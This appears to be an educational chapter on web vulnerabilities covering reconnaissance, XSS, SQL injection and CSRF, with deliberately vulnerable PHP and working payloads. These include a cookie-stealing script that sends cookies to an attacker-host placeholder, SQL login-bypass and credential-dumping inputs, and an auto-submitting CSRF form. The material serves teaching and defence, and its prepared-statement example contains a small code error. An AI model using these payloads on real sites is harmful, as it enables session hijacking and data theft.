Web Vulnerabilities

Finding stuff on webpages

View source All of the code needed to display a page in your browser (HTML, CSS, and JavaScript) is viewable by anyone at the page. Simply use the "View Source" option in your browser. You can often get it by right-clicking in your browser. Very often there will be comments in the source that might have interesting information. For instance, maybe the person writing the page wanted to keep a certain link from displaying on the page. Instead of deleting it, they might have commented it out.

Misconfigured directories Suppose you're at a page `http://example.com/images/computer.png`. In the URL bar, you can remove the filename so that it's just `http://example.com/images/`. This will either give you an HTTP 403 Forbidden error or it will give you a listing of the files in the directory. In the latter case, you might be able to find something interesting.

Common directories There are certain directories that sites often store stuff at. One in particular is `/admin`, where people often store things that it would be better if people didn't find. You could also try various other directory names to see if they lead to anything interesting. There are tools out there, like DirBuster that can automate the process.

Changing filenames If you find something at a site like `example.com/2019financialreport.pdf` and you want the 2020 report, try changing the filename in the URL bar. It might give you a 404 Not Found, but you might find something that the developer put there but didn't link to.

The Internet Archive The Internet Archive (archive.org) is a site that periodically takes snapshots of websites. An older version of a site may have had some vulnerabilities or some information they don't want on the site anymore, and you might be able to find it in one of those snapshots.

robots.txt The way search engines work is they send out bots that "crawl" the web, following links and recording what they find. That info then ends up in the search results. If you run a site, there are certain parts of your site you might not want these crawlers to visit because you don't want that stuff showing up in search results. To tell crawlers what it's okay and not okay to visit, you can put that info in a file called `robots.txt` on your server. If someone is trying to gather information about your site, `robots.txt` tells them where the interesting stuff might be.

Google dorking Search engines work by using programs called spiders or bots that follow all the links on a page, then follow all the links from there, etc. They can do in a few minutes what would take a human a long time to do. We can take advantage of this work to quickly find interesting things on a site. Search engines provide particular operators you can use to do this. For instance, the Google search `honors site:msmary.edu filetype:pdf` will return all the pdf files from `msmary.edu` that have to do with the search term "honors". Here are some useful operators:

- `allintext:` — Searches the text of the page.
- `filetype:` — Searches for specific file types (like pdf, jpg, etc.).
- `intitle:` — Searches for the text in the title of the page. A common use of this is to search for online webcams, which often use a very specific title.
- `inurl:` — Searches for the text in the URL itself.
- `site:` — Search only a particular site, not the entire internet.

Cross-site scripting

Cross-site scripting (XSS) is a common vulnerability on web sites. Here is an example of some code that leads to an XSS vulnerability.

```
<form action="xss_comment_page.php" method="post">
        Name: <input type="text" name="name" /><br />
</form>

<?php
if (isset($_POST["name"])) {
    $stuff = file_get_contents("xss_names.txt");
    $stuff .= "<br />" . $_POST["name"];
    echo $stuff;
    file_put_contents("xss_names.txt", $stuff);
}
?>
```

The code creates a form where people enter their name. The code at the bottom is PHP code that runs on the server. It takes the name the person entered, stores it in a file with all the other names that have been entered in the past, and writes all of that directly to the page. When someone views the page, they will see the form and the list of names (but not the PHP code since that just runs on the server). Someone could enter the following as their name:

```
<script>alert(0)</script>
```

This will cause an alert box to pop up, which is not anything special, but it demonstrates that the page is vulnerable to XSS. What happens here is that whatever is entered into the name input area is echoed by the PHP code directly onto the HTML document. In this case, that is `<script>alert(0)</script>`, which will be interpreted by the browser as JavaScript code, and the browser will run it. Since this gets stored in a file that is written to the page whenever anyone views the page, everyone who views the page will now have an alert box pop up.

Having established that we can inject JavaScript code into the page, we can move on to injecting more interesting things. JavaScript is such a versatile language that we can create scripts that change the content of the page, pop up alerts phishing for credentials, log keypresses, and steal cookies (like session ID cookies).

Suppose we want to change the content of the page. A lot of time, items on the page will have an ID associated with them. The relevant HTML might look something like this:

```
<div id='someID'>Here is some stuff...</div>
```

Here we have a `<div>` tag, but it could just as well be a `<p>` tag, an `<li>` tag, or something else. The user input below will change the text of that tag. This uses a JavaScript command that gets a reference to the HTML tag and then changes its text using the `innerHTML` property.

```
<script>document.getElementById('someID').innerHTML = 'hacked!'</script>
```

The JavaScript `document.write` function can be used to write directly to the document. Here is a simple example that would do a little math and write it to the page.

```
<script>document.write(2+2)</script>
```

Here is an example that writes an HTML image tag to the page to load an external image:

```
<script>document.write("<img src='https://www.brianheinold.net/mpix/mpix453.png'>")</script>
```

Here is an example that will print out the value of the page's cookies.

```
<script>document.write(document.cookie)</script>
```

We can combine the last two ideas to get something that is pretty dangerous.

```
<script>document.write("<img src='http://attackersevilhomepage.com/cookie_stealer.php?cook=" + document.cookie +  "'>")</script>
```

For this example, assume that the `attackersevilhomepage.com` is a domain controlled by the attacker. The code creates a GET request that sends the page's cookies as part of the query string. The attacker can configure `cookie_stealer.php` to record all the data it receives, giving them access to the cookies of anyone that views the original page. If the cookies being sent are session IDs, then the attacker now has the session ID of various and can perform actions on the page as if they were those users.

Another example Here is a different example to show that not all XSS require a `<script>` tag. Suppose we have the following HTML and PHP code:

```
<form action="xss_new_example.php" method="post">
        Username: <input type="text" name="username" size=25/><br />
        Webpage: <input type="text" name="webpage" size=25/><br />
        <input type="submit" />
</form>

<?php
if (isset($_POST["username"]) && isset($_POST["webpage"])) {
        $u = $_POST["username"];
        $w = $_POST["webpage"];
        echo "User: " . $u . "<br/>Website: <a href='" . $w . "'>" . $u . "'s website</a>";
}
?>
```

Users input their name and their website name, and the PHP code outputs both to the page with the website name turned into a hyperlink using the `href>` tag. An attacker could put the following as their website name:

```
http://www.example.com'  onclick='alert(0)
```

The PHP code would use this to create an `<href>` tag that looks like the following:

```
<a href='http://www.example.com'  onclick='alert(0)'>
```

The trick here is that the attacker needs to use a quote here to close the quote that's part of the PHP code. Then they move on and add another attribute called `onclick`. In HTML, the `onclick` attribute allows JavaScript code to be run whenever the element is clicked on. So when anyone clicks on the link, in this case an alert box will pop up. Another useful attribute is `onmouseover` which will trigger JavaScript code whenever the user's mouse is over the link.

Types of XSS The type of XSS where the script gets stored on the server in a file or database and is then displayed to other people is called a *stored XSS*. There is another type called *reflected*. Here is an example. Let's say a new search engine takes the search term in a GET request and generates a URL like `http://example.com/search.php?term=computer`. And lets say it takes that search term and directly displays it on the page maybe in something that says "Results for 'computer'". An attacker could craft a link like `http://example.com/search.php?term=<script>alert(0)</script>`. If they send that link to someone, say in an email, that script will run at the search site if the target clicks on it. As opposed to a stored XSS which affects all visitors to a site, this just affects those who click on the link.

Preventing XSS In order to prevent XSS in code you write, it's important to be very careful where you insert user input. For instance, if you insert user input directly into some script tags, then there's really no hope for you.

If you must insert user input directly elsewhere in a page, you'll need to do something to disallow things that could lead to XSS. Once simple idea would be to replace all `<script>` tags in the user's input with empty strings. The following PHP code would do that, assuming the user's input is in the variable `$t`:

```
$t = str_replace("<script>", "", $t);
```

But this is weak. An attacker could enter something like `< ScriPt  >` with some random capitals and spaces to get around the filter. Or they could do something like this: `<scr<script>ipt>`. It's better to use programming languages features that are designed to stop XSS. For instance, PHP has a function called `htmlentities`. This will take various potentially dangerous symbols like < and > that are used in XSS and replace them with their escaped equivalents, which are `&lt;` and `&gt;`. These are HTML codes that will display as < and > to someone viewing the page, but they won't be interpreted by your browser as being part of a tag.

The site `owasp.org` has a nice page on how to prevent XSS and also a nice page on how to evade XSS filters.

SQL injection

SQL is the main language used for database queries. Very often a website will have a form and the input from the form will be used to create a database query, and the results are displayed on the page. For instance, if you do an Amazon search for computers, Amazon will put that term into a database query, and return some results from its database relevant to your search. Here is an example of some PHP code that takes some user input and inserts it into an SQL query.

```
$result = $conn->query("SELECT * FROM products WHERE name='" . $_POST["name"] . "'");
```

If the person enters the name "chocolate", then it generates this query:

```
SELECT * FROM products WHERE name='chocolate'
```

This says to take all results (*) from the products table that have a name of chocolate. Here is something an attacker could enter into the form: `'OR 1=1#`. It generates the SQL query below.

```
SELECT * FROM products WHERE name='' OR 1=1#'
```

The initial quote of what the attacker enters closes off the quote from the PHP code. Then we have `OR 1=1`. Remember that logical OR evaluates to true if either of its two operands are true. Since 1=1 is guaranteed to be true, this means the condition will evaluate to true. The end result is that it will display all the items in the database. The # at the end is a comment which makes sure the closing quote from the PHP code doesn't cause a syntax error with the attacker's code. Here is another input an attacker could enter. You can probably guess what it will accomplish:

```
' and 1=2 union select user, password,0,0 from mysql.user #
```

Here is another example. Below is a line of PHP code that takes a user-entered name and password and attempts to pull information about the user from the system.

```
$result = $conn->query("SELECT displayname FROM people WHERE user='" .
                        $_POST["user"] . "' AND password='" . $_POST["password"] . "'");
```

Here are a few things we could enter into the user field:

- `' OR 1=1#` — Similar to what we saw above, this will show the value of the `displayname` for every user in the system.
- `' AND 1=2 UNION SELECT user FROM people#` — This will give us a list of all the user names in the system.
- `root'#` — Assuming there is a user called root, this will log them in without a password. This works by commenting out the password part of the query so that the system doesn't bother to check the password.

We could do even worse things like insert new users into the system or delete the whole database via a `DROP TABLES` command.

Avoiding SQL injection The root cause of the weakness in the two code samples above is that we are pasting user-entered data directly into the query. So if someone enters things into the form that look like SQL code, the SQL program running on the server will execute them just as if they are code. To avoid this, we use something called *prepared statements* or *parameterized queries*. In these, we rely on whatever programming language we're using to do the pasting for us, trusting it to make sure that whatever is entered will not be interpreted as SQL code. So if someone enters `' OR 1=1#` into a product search, that text will be interpreted as searching for a product called `' OR 1=1#` and not as SQL code. Here is how this might work in PHP:

```
$s = mysqli_prepare($database, "SELECT * FROM people WHERE user = ? AND password = ?");
mysqli_stmt_bind_param($s, "s", $_POST["user"]);
mysqli_stmt_bind_param($s, "s", $_POST["password"]);
mysqli_stmt_execute($stmt);
$row = mysqli_stmt_fetch($s)
```

The functions replace the placeholder question marks with the text that the user entered, and the `mysqli_stmt_bind_param` function takes care to make sure that replacement is done safely.

Cross-site request forgery

In XSS, an attacker is often trying to steal a victim's session ID cookie. That will allow them to do things on a site as if they were the victim. In Cross-site request forger (CSRF), instead of trying to steal the cookie, the attacker tricks the victim into doing things that the attacker wants done. These would be things that the session ID cookie is needed for.

As an analogy, a thier could steal a credit card and use it to make purchases. This is a little like XSS. On the other hand, the thief could trick the owner of the credit card into making purchases for the thief. This is what CSRF is like.

Here is an example. Suppose we have an online store called `someonlinestoreabcde.com` with a form where you can enter an item and a shipping address. Let's assume it's a POST request. The store will check to make sure it's you by checking your session ID cookie when you make the request. Now suppose an attacker creates a page on a totally different site with the following code on it.

```
<form action="http://someonlinestoreabcde.com/purchase.php" method="post" target="nothing">
    <input type="hidden" name="item" value="computer"/>
    <input type="hidden" name="address" value="attacker's address"/>
</form>

<script>
document.forms[0].submit()
</script>
```

If the attacker can get a victim to visit that page while they are also logged into the online store, then the POST request will be made, and the victim's browser will send their session ID cookie along with it, which will cause the purchase to be made. The victim might not even realize this is happening because the form content is all hidden, and the JavaScript code automatically submits the form when the page is loaded.

As another example, suppose we have a site where people post articles and others comment on them. Most users can only post comments, but administrators can do more, like remove articles. Suppose article removal is done via a request (GET or POST) and requires the session ID cookie to correspond to that of an administrator. An attacker can leave a comment that creates a request to the article deletion page. If it's a POST request, and the comment page doesn't sanitize their inputs, then the attacker could insert a form like above. If it's a GET request, the attacker could use something with an image tag where the image source points at the article deletion page.

Modern browsers do have some protections built in to make CSRF more difficult to pull off. In particular, unless the cookies are declared in an insecure way, they will make it so that cookies won't be submitted via third-party requests.

As a developer, to avoid CSRF in your own code, the solution is to include a unique, random token (called a CSRF token) with every request, usually as a hidden form element. The server will only accept requests that contain that token. So a third-party request like in the examples above would not have access to that token because those requests don't involve visiting the actual page.